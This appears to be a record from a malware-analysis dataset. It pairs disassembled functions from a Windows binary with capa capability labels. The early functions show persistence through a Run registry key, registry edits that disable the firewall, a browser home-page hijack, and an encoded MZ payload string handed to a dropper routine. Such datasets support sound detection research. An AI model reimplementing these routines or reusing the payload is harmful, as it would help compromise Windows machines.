joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ea0
Capabilities:
Accept command line arguments
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
movsx eax, byte [eax]
cmp eax, 0x22
jne 0x402ec5
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x402ece
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [ebp - 0xc], eax
mov edi, dword [ebp - 0xc]
mov edx, 0x409eac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x22
push 0x409eac
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x402f1d
push 0x22
push 0x409eac
call sub.MSVCRT.dll_strchr
add esp, 8
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x402f24
mov dword [ebp - 0x10], 0x409eac
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
push 0x20
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x402f4d
push 0x20
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_strchr
add esp, 8
mov byte [eax], 0
push 0x22
push 0x409eac
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x402f72
push 0x22
push 0x409eac
call sub.MSVCRT.dll_strchr
add esp, 8
mov byte [eax], 0
push str..com
push 0x409eac
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x402ffd
push str..COM
push 0x409eac
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x402ffd
push str..exe
push 0x409eac
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x402ffd
push str..EXE
push 0x409eac
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x402ffd
mov edi, str..exe
mov edx, 0x409eac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
push 0x409eac
push 0x409da8
call sub.MSVCRT.dll__fullpath
add esp, 0xc
test eax, eax
je 0x403078
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x20006
push 0
push 0x409d34
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x403044
jmp 0x403078
mov edi, 0x409da8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
push ecx
push 0x409da8
push 1
push 0
push str.Autoupdate_Service
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403080
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4030a5
jmp 0x4030be
push str.Autoupdate_Service
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x4030d0
Capabilities:
Delete file
Disable firewall features via registry on windows
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfile
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403120
mov dword [ebp - 8], 0
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.EnableFirewall
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403120
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str.c:_a.exe
call sub.MSVCRT.dll_remove
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x403140
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push 0
call sub.MSVCRT.dll_time
add esp, 4
push eax
call sub.MSVCRT.dll_srand
add esp, 4
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403179
mov eax, 1
jmp 0x4031e7
call fcn.004030d0
call fcn.00401750
call fcn.004017b0
call fcn.00402e70
test eax, eax
jne 0x403196
call fcn.00402ea0
call fcn.00401bd0
call fcn.00403870
call fcn.00401c20
cmp dword [0x409928], 0x1a3
je 0x4031bd
cmp dword [0x40992c], 0x1a3
jne 0x4031c9
call fcn.00403080
push 0
call sub.MSVCRT.dll_exit
push str.http:__balabolka.biz_start.html
call fcn.00403350
add esp, 4
call fcn.00402600
mov dword [0x40b414], eax
call fcn.00403430
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403350
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov dword [ebp - 8], str.Home_Page
mov dword [ebp - 4], str.SoftwareMicrosoftInternet_ExplorerMain
lea eax, [ebp - 0xc]
push eax
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403382
jmp 0x4033cf
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
push ecx
mov edx, dword [ebp + 8]
push edx
push 1
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4033b8
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4033cf
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.4D5A585858Z75045Z24C0102Z146534721Z8E0Z10F010B01Z306Z9Z15401Z310Z20CZ540Z210Z302Z204Z704Z840Z302Z602Z510Z210Z410Z210Z610Z9Z2C031Z284Z9Z9Z9Z9Z9Z9Z9Z9Z9Z9Z9Z9Z9Z720Z310Z9Z9Z4E0Z2C0Z910Z330Z24102Z302Z9Z5E0Z2C08725043240Z1619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B6Z1568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6CZ215381440310109F11303FF3303D711CF2909BD10Z17F536F667477016172655C4D6963DBE3737A1D7A573D6E643D77F81B43757230D97456D3BFC3696FC7F752FF9C292E5949B744424E7E40204578706C6FDF36313861694B2AB353EE443863683E48BE6D9E2050DF67B36C747322A60B8A1C1E0C6E420C14951873745E697A53653C4207144173A36F305BC280446566EE757B6C525F18771C55524C2901F7183F09E8D461010AA31711205150F6D5A10B1B1168078E0B6A0358122010CC1D022E8037E8BE3BF50B62184E110108A684420F8878598E08138DA2484276225FFE1FA10503164144A4FF50355FE86C5B43161B8B220C17326A0141E019070841868E42891FAE4A3F29221F59B90E210379C50E38E442E2D0190F08C585E4E038A685E4F03887A75DE41327C8D6891F494F5DD11F222A3B6A64B00B0FE9BDFEB21E2825181DEC14AB06DC320819040DC2281616E2504C0C1F26142615629C13655FD458472E2643EE38CCD916644C1F54184125536CEFE170BB11CCEF3372166E07274B45524E304C33322E38646CD134F86567334F70344BBA79C1684148105158756D7E1B56616C0E4327243453B62912CD44F3B150494A444301FEBA98Z21832Z9Z1F201Z21832Z9Z9Z51040Z23040Z1601340Z5083240Z180Z47DZ2E83140Z1E80140Z1DC0140Z1DE0140Z1631140Z12232Z23032Z64C6F61644C69627261727941Z247657450726F6341646472657373Z1
call fcn.004031f0
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x406ab0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x45db26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5c
push esi
mov esi, ecx
push edi
push esi
lea ecx, [esp + 0x10]
call fcn.00406f10
lea edi, [esi + 0x10]
lea ecx, [esp + 0x1c]
push edi
mov dword [esp + 0x70], 0
call fcn.00407060
mov eax, dword [edi + 0xc]
mov dword [esp + 0x1c], 0x46476c
mov dword [esp + 0x28], eax
mov edx, dword [esi + 0x20]
lea ecx, [esp + 0x2c]
lea eax, [esi + 0x24]
mov dword [esp + 8], ecx
push eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x70], 1
mov dword [esp + 0x30], edx
call fcn.00407100
lea ecx, [esi + 0x34]
mov byte [esp + 0x6c], 2
push ecx
lea ecx, [esp + 0x44]
call fcn.00406d30
mov edx, dword [esi + 0x54]
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x74]
mov dword [esp + 0x6c], 3
cmp eax, 3
ja case.default.0x406b48
jmp dword [eax*4 + 0x406c54]
mov eax, dword [esp + 0x78]
mov ecx, esi
push eax
call fcn.00407430
jmp case.default.0x406b48
mov ecx, dword [esp + 0x78]
push ecx
mov ecx, esi
call fcn.00407510
jmp case.default.0x406b48
mov edx, dword [esp + 0x78]
mov ecx, esi
push edx
call fcn.004074d0
jmp case.default.0x406b48
mov eax, dword [esp + 0x78]
mov ecx, esi
push eax
call fcn.00407450
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.004072d0
test al, al
je 0x406ba5
lea edx, [esp + 0xc]
mov ecx, esi
push edx
call fcn.004072d0
test al, al
jne 0x406b95
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call fcn.004073e0
lea ecx, [esp + 0x2c]
mov dword [esp + 0x6c], 4
mov dword [esp + 0x78], ecx
lea edx, [esp + 0x40]
mov dword [esp + 0x74], edx
mov eax, dword [esp + 0x58]
mov edi, 0x464764
push eax
mov byte [esp + 0x70], 6
mov dword [esp + 0x54], edi
call fcn.00448201
mov ecx, dword [esp + 0x4c]
mov esi, 0x464760
push ecx
mov byte [esp + 0x74], 5
mov dword [esp + 0x48], esi
call fcn.00448201
mov edx, dword [esp + 0x40]
mov byte [esp + 0x74], 4
push edx
mov dword [esp + 0x3c], 0x464768
call fcn.00448201
mov eax, dword [esp + 0x30]
mov dword [esp + 0x78], 7
push eax
mov dword [esp + 0x2c], edi
call fcn.00448201
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x7c], 0xffffffff
push ecx
mov dword [esp + 0x20], esi
call fcn.00448201
mov ecx, dword [esp + 0x78]
add esp, 0x14
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x68
ret 8
Function at 0x407c60
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x45dde2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], edi
mov eax, dword [edi + 0x164]
mov dword [esp + 0x28], 5
push eax
mov dword [edi + 0x15c], 0x4649c0
call fcn.00448201
lea esi, [edi + 0xe0]
add esp, 4
mov dword [esp + 0x14], esi
lea ecx, [esi + 0x74]
mov byte [esp + 0x28], 0x11
call fcn.0044c625
lea ecx, [esi + 0x70]
mov byte [esp + 0x28], 0x10
call fcn.0044c625
lea ecx, [esi + 0x6c]
mov byte [esp + 0x28], 0xf
call fcn.0044c625
lea ecx, [esi + 0x68]
mov byte [esp + 0x28], 0xe
call fcn.0044c625
lea ecx, [esi + 0x64]
mov byte [esp + 0x28], 0xd
call fcn.0044c625
lea ecx, [esi + 0x60]
mov byte [esp + 0x28], 0xc
call fcn.0044c625
lea ecx, [esi + 0x5c]
mov byte [esp + 0x28], 0xb
call fcn.0044c625
lea ecx, [esi + 0x58]
mov byte [esp + 0x28], 0xa
call fcn.0044c625
mov ecx, dword [esi + 0x50]
mov byte [esp + 0x28], 9
test ecx, ecx
mov dword [esi + 0x48], 0x4649bc
je 0x407d2f
push 3
call fcn.004086a0
mov eax, dword [esi + 0x44]
mov byte [esp + 0x28], 8
push eax
mov dword [esi + 0x3c], 0x4649b8
call fcn.00448201
mov ecx, dword [esi + 0x38]
add esp, 4
test ecx, ecx
mov byte [esp + 0x28], 7
mov dword [esi + 0x30], 0x4649b4
je 0x407d61
push 3
call fcn.0040e460
mov eax, dword [esi + 0x2c]
mov ebx, 0x4649b0
push eax
mov byte [esp + 0x2c], 6
mov dword [esi + 0x24], ebx
call fcn.00448201
mov dword [esi + 0x18], ebx
mov esi, dword [esi + 0x20]
push esi
mov byte [esp + 0x30], 4
call fcn.00448201
add esp, 8
lea ecx, [edi + 0xdc]
mov byte [esp + 0x28], 3
call fcn.0044c625
lea ecx, [edi + 0xd8]
mov byte [esp + 0x28], 2
call fcn.0044c625
lea ecx, [edi + 0xb4]
mov byte [esp + 0x28], 1
call fcn.0040e830
lea esi, [edi + 0x5c]
mov dword [esp + 0x14], esi
lea ebp, [esi + 0x20]
mov dword [esp + 0x18], ebp
lea ebx, [ebp + 0x14]
mov dword [esp + 0x1c], ebx
mov eax, dword [ebx + 0x18]
mov byte [esp + 0x28], 0x14
push eax
mov dword [ebx + 0x10], 0x464764
call fcn.00448201
mov dword [ebx], 0x464760
mov ebx, dword [ebx + 8]
push ebx
mov byte [esp + 0x30], 0x13
call fcn.00448201
mov dword [ebp + 4], 0x464768
mov ebp, dword [ebp + 0xc]
push ebp
mov byte [esp + 0x34], 0x12
call fcn.00448201
mov eax, dword [esi + 0x18]
mov byte [esp + 0x34], 0x15
push eax
mov dword [esi + 0x10], 0x464764
call fcn.00448201
mov dword [esi], 0x464760
mov esi, dword [esi + 8]
push esi
mov byte [esp + 0x3c], 0
call fcn.00448201
add esp, 0x14
mov ecx, edi
mov dword [esp + 0x28], 0xffffffff
call fcn.004483a8
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x409740
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x45e02a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b4
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], edi
call fcn.004094b0
mov ebp, eax
mov dword [edi + 4], 0xc8
mov esi, dword [edi + 4]
xor ebx, ebx
mov dword [edi], 0x464b54
lea eax, [esi*8]
mov dword [esp + 0x1cc], ebx
sub eax, esi
lea ecx, [eax*4 + 4]
push ecx
call fcn.004481d8
add esp, 4
mov dword [esp + 0x10], eax
cmp eax, ebx
mov byte [esp + 0x1cc], 1
je 0x4097ca
push fcn.00409a70
push fcn.004094b0
lea ebx, [eax + 4]
push esi
push 0x1c
push ebx
mov dword [eax], esi
call fcn.0043966c
test ebx, ebx
mov byte [esp + 0x1cc], 0
mov dword [edi + 8], ebx
jne 0x40980b
push str.Not_enough_memory.
lea ecx, [esp + 0x38]
call fcn.00437f80
mov ecx, 0x32
lea esi, [esp + 0x34]
lea edi, [esp + 0xfc]
lea edx, [esp + 0xfc]
push 0x47fd18
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0043948f
mov eax, dword [edi + 4]
mov dword [esp + 0x10], 0
test eax, eax
jle 0x409863
xor ebx, ebx
mov esi, dword [edi + 8]
mov eax, dword [ebp]
add esi, ebx
mov dword [esi], eax
mov ecx, dword [ebp + 4]
lea eax, [ebp + 8]
mov dword [esi + 4], ecx
push eax
lea ecx, [esi + 8]
call fcn.0044c712
lea eax, [ebp + 0xc]
lea ecx, [esi + 0xc]
push eax
call fcn.0044c712
lea eax, [ebp + 0x10]
lea ecx, [esi + 0x10]
push eax
call fcn.00409ae0
mov eax, dword [esp + 0x10]
mov ecx, dword [edi + 4]
inc eax
add ebx, 0x1c
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x40981c
mov dword [edi], 0x464b50
mov edx, dword [esp + 0x30]
mov byte [esp + 0x1cc], 5
push edx
mov dword [esp + 0x2c], 0x4649c4
call fcn.00448201
add esp, 4
lea ecx, [esp + 0x24]
mov byte [esp + 0x1cc], 4
call fcn.0044c625
lea ecx, [esp + 0x20]
mov byte [esp + 0x1cc], 3
call fcn.0044c625
mov ecx, dword [esp + 0x1c4]
mov dword [edi + 0xc], 0
mov dword [edi], 0x464b4c
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c0
ret
Function at 0x40b7a0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x45e4c9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esp + 0x20], 0
lea edi, [esi + 0x198]
mov dword [esp + 0x10], edi
mov eax, dword [edi + 0x6c]
mov byte [esp + 0x20], 9
push eax
mov dword [edi + 0x64], 0x4651bc
call fcn.00448201
mov eax, dword [edi + 0x58]
mov byte [esp + 0x24], 8
push eax
mov dword [edi + 0x50], 0x4651bc
call fcn.00448201
mov eax, dword [edi + 0x34]
mov ebp, 0x4651b8
push eax
mov byte [esp + 0x2c], 7
mov dword [edi + 0x2c], ebp
call fcn.00448201
add esp, 0xc
lea ecx, [edi + 0xc]
mov byte [esp + 0x20], 6
call fcn.004189c0
mov eax, dword [esi + 0xdc]
mov byte [esp + 0x20], 4
push eax
mov dword [esi + 0xd4], ebp
call fcn.00448201
mov eax, dword [esi + 0xbc]
mov byte [esp + 0x24], 3
push eax
mov dword [esi + 0xb4], ebp
call fcn.00448201
lea ebp, [esi + 0x60]
mov dword [esp + 0x18], ebp
lea edi, [ebp + 0x14]
mov dword [esp + 0x1c], edi
mov eax, dword [edi + 0x18]
mov byte [esp + 0x28], 0xb
push eax
mov dword [edi + 0x10], 0x464764
call fcn.00448201
mov dword [edi], 0x464760
mov edi, dword [edi + 8]
push edi
mov byte [esp + 0x30], 0xa
call fcn.00448201
mov dword [ebp + 4], 0x464768
mov ebp, dword [ebp + 0xc]
push ebp
mov byte [esp + 0x34], 2
call fcn.00448201
lea edi, [esi + 0x40]
mov dword [esp + 0x28], edi
mov eax, dword [edi + 0x18]
mov byte [esp + 0x34], 0xc
push eax
mov dword [edi + 0x10], 0x464764
call fcn.00448201
mov dword [edi], 0x464760
mov edi, dword [edi + 8]
mov byte [esp + 0x38], 1
push edi
call fcn.00448201
mov eax, dword [esi + 0x24]
mov byte [esp + 0x3c], 0
push eax
mov dword [esi + 0x1c], 0x4651bc
call fcn.00448201
add esp, 0x20
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.004189c0
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x40b7b9
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x45e4c9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esp + 0x20], 0
lea edi, [esi + 0x198]
mov dword [esp + 0x10], edi
mov eax, dword [edi + 0x6c]
mov byte [esp + 0x20], 9
push eax
mov dword [edi + 0x64], 0x4651bc
call fcn.00448201
mov eax, dword [edi + 0x58]
mov byte [esp + 0x24], 8
push eax
mov dword [edi + 0x50], 0x4651bc
call fcn.00448201
mov eax, dword [edi + 0x34]
mov ebp, 0x4651b8
push eax
mov byte [esp + 0x2c], 7
mov dword [edi + 0x2c], ebp
call fcn.00448201
add esp, 0xc
lea ecx, [edi + 0xc]
mov byte [esp + 0x20], 6
call fcn.004189c0
mov eax, dword [esi + 0xdc]
mov byte [esp + 0x20], 4
push eax
mov dword [esi + 0xd4], ebp
call fcn.00448201
mov eax, dword [esi + 0xbc]
mov byte [esp + 0x24], 3
push eax
mov dword [esi + 0xb4], ebp
call fcn.00448201
lea ebp, [esi + 0x60]
mov dword [esp + 0x18], ebp
lea edi, [ebp + 0x14]
mov dword [esp + 0x1c], edi
mov eax, dword [edi + 0x18]
mov byte [esp + 0x28], 0xb
push eax
mov dword [edi + 0x10], 0x464764
call fcn.00448201
mov dword [edi], 0x464760
mov edi, dword [edi + 8]
push edi
mov byte [esp + 0x30], 0xa
call fcn.00448201
mov dword [ebp + 4], 0x464768
mov ebp, dword [ebp + 0xc]
push ebp
mov byte [esp + 0x34], 2
call fcn.00448201
lea edi, [esi + 0x40]
mov dword [esp + 0x28], edi
mov eax, dword [edi + 0x18]
mov byte [esp + 0x34], 0xc
push eax
mov dword [edi + 0x10], 0x464764
call fcn.00448201
mov dword [edi], 0x464760
mov edi, dword [edi + 8]
mov byte [esp + 0x38], 1
push edi
call fcn.00448201
mov eax, dword [esi + 0x24]
mov byte [esp + 0x3c], 0
push eax
mov dword [esi + 0x1c], 0x4651bc
call fcn.00448201
add esp, 0x20
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.004189c0
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x40c100
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x45e7ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, ecx
mov dword [esp + 8], 0
mov eax, dword [edi + 0xc]
cmp esi, eax
jl 0x40c13a
push str.SetStack::___:_Bad_Index
call fcn.00437f40
add esp, 4
test esi, esi
jl 0x40c143
cmp esi, dword [edi + 4]
jl 0x40c150
push str.Index_out_of_range.
call fcn.00437f40
add esp, 4
mov ecx, dword [edi + 8]
mov edi, dword [esp + 0x1c]
lea eax, [esi*8]
sub eax, esi
lea esi, [ecx + eax*8]
mov ecx, edi
push esi
call fcn.0044c39a
lea edx, [esi + 4]
lea ecx, [edi + 4]
push edx
mov dword [esp + 0x18], 0
call fcn.0044c39a
lea eax, [esi + 8]
lea ecx, [edi + 8]
push eax
mov byte [esp + 0x18], 1
call fcn.0044c39a
lea ecx, [esi + 0xc]
mov byte [esp + 0x14], 2
push ecx
lea ecx, [edi + 0xc]
call fcn.0044c39a
mov edx, dword [esi + 0x10]
mov dword [edi + 0x10], edx
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
mov ecx, dword [esi + 0x18]
mov dword [edi + 0x18], ecx
mov edx, dword [esi + 0x1c]
mov dword [edi + 0x1c], edx
mov eax, dword [esi + 0x20]
mov dword [edi + 0x20], eax
mov ecx, dword [esi + 0x28]
mov dword [edi + 0x28], ecx
mov edx, dword [esi + 0x2c]
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x2c], edx
mov eax, dword [esi + 0x30]
mov dword [edi + 0x30], eax
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x40ff60
Capabilities:
Get geographical location

Disassembly:
push 0xffffffffffffffff
push 0x45ef75
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x84
push esi
push 0x48dc20
lea ecx, [esp + 8]
mov dword [esp + 0x10], 0
call fcn.0044c693
mov eax, dword [esp + 0x9c]
lea ecx, [esp + 8]
push eax
push ecx
mov dword [esp + 0x98], 1
call fcn.0040fe90
mov eax, dword [eax]
push eax
call fcn.004397f2
add esp, 0xc
lea ecx, [esp + 8]
mov esi, eax
call fcn.0044c625
lea edx, [esp + 0x10]
push 0x32
and esi, 0xffff
push edx
push 0x1001
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x40fff0
lea eax, [esp + 0x10]
lea ecx, [esp + 4]
push eax
call fcn.0044c762
mov esi, dword [esp + 0x98]
lea ecx, [esp + 4]
push ecx
mov ecx, esi
call fcn.0044c39a
mov dword [esp + 0xc], 1
lea ecx, [esp + 4]
mov byte [esp + 0x90], 0
call fcn.0044c625
mov ecx, dword [esp + 0x88]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x90
ret
Function at 0x410040
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x45efa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x48c304]
push esi
push edi
mov dword [esp + 8], eax
lea ecx, [esp + 8]
mov dword [esp + 0x24], 0
push ecx
push 1
lea ecx, [esp + 0x14]
call fcn.004101a0
mov dword [esp + 0xc], 0x465200
lea ecx, [esp + 8]
mov byte [esp + 0x24], 2
call fcn.0044c625
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0x4651fc
mov eax, dword [esp + 0x30]
lea edx, [esp + 0xc]
push edx
push eax
mov dword [esp + 0x2c], 3
call fcn.0040fa50
mov esi, dword [esp + 0x34]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 8
mov ecx, dword [esi + 0x1c]
push 0
push 0
push 0x14b
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x41012c
lea edx, [esp + 0x2c]
lea ecx, [esp + 0xc]
push edx
call fcn.004102b0
push eax
lea eax, [esp + 0x34]
push eax
mov byte [esp + 0x2c], 4
call fcn.0040fe90
mov eax, dword [eax]
mov ecx, dword [esi + 0x1c]
add esp, 8
push eax
push 0
push 0x143
push ecx
call edi
lea ecx, [esp + 0x30]
call fcn.0044c625
lea ecx, [esp + 0x2c]
mov byte [esp + 0x24], 3
call fcn.0044c625
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x4100dc
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], 0xffffffff
test eax, eax
mov dword [esp + 0xc], 0x4651f8
je 0x410161
mov edx, dword [eax - 4]
lea esi, [eax - 4]
push fcn.0044c625
push edx
push 4
push eax
call fcn.004394c9
push esi
call fcn.00448201
add esp, 4
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x414bd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x45f6c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a0
push esi
mov esi, ecx
lea eax, [esi + 0xe8]
lea ecx, [esi + 0xcc]
push eax
call fcn.0044c712
mov eax, dword [0x48c304]
mov dword [esp + 8], eax
mov dword [esp + 0x1ac], 0
mov dword [esp + 4], eax
push 0x4e20
lea ecx, [esp + 0xc]
mov byte [esp + 0x1b0], 1
call fcn.0044cb51
push 0x4e24
lea ecx, [esp + 8]
call fcn.0044cb51
mov ecx, dword [esp + 0x1b8]
mov edx, dword [esp + 0x1b4]
push 0
push ecx
push edx
push ecx
lea eax, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call fcn.0044c39a
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
mov byte [esp + 0x1c4], 2
call fcn.0044c39a
lea eax, [esi + 0xc0]
add esi, 0x128
push eax
push esi
lea ecx, [esp + 0x30]
mov byte [esp + 0x1c8], 1
call fcn.004266a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x1ac], 3
call fcn.00448767
lea ecx, [esp + 0x198]
mov byte [esp + 0x1ac], 8
call fcn.0044c625
lea ecx, [esp + 0x194]
mov byte [esp + 0x1ac], 7
call fcn.0044c625
lea ecx, [esp + 0xec]
mov byte [esp + 0x1ac], 6
call fcn.00408e60
lea ecx, [esp + 0xac]
mov byte [esp + 0x1ac], 5
call fcn.004565c4
lea ecx, [esp + 0x70]
mov byte [esp + 0x1ac], 4
call fcn.004564a3
lea ecx, [esp + 0x14]
mov byte [esp + 0x1ac], 1
call fcn.004483a8
lea ecx, [esp + 4]
mov byte [esp + 0x1ac], 0
call fcn.0044c625
lea ecx, [esp + 8]
mov dword [esp + 0x1ac], 0xffffffff
call fcn.0044c625
mov ecx, dword [esp + 0x1a4]
pop esi
mov dword fs:[0], ecx
add esp, 0x1ac
ret 8